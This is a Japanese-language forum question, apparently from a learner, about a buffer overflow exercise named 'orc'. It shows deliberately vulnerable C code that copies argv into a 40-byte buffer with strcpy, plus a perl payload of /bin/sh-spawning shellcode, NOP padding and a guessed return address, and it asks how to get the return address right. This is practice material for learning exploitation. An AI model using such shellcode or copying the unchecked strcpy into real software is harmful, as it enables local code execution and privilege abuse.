0

次のプログラムでバッファ オーバーフローを試みています。

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[]){
    char buffer[40];
    int i;

if(argc < 2){
    printf("argv error\n");
    exit(0);
}

// egghunter 
for(i=0; environ[i]; i++)
    memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47] != '\xbf')
{
    printf("stack is still your friend.\n");
    exit(0);
}
strcpy(buffer, argv[1]); 
printf("%s\n", buffer);
}

このペイロードを使用してバッファのオーバーフローを試みましたが、

./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`** 

ただし、機能していないようで、この結果しか得られません。

j
 X?Rh//shh/bin??S?訴???????????

はい、BOf を試すのはほぼ初めてで、ペイロードの末尾 (太字) にある ret アドレスが不正確に見えるように感じます。では、シェルコードの最後に置く ret アドレスを取得するにはどうすればよいでしょうか? そして、それは何をしますか?前もって感謝します :)

4

1 に答える 1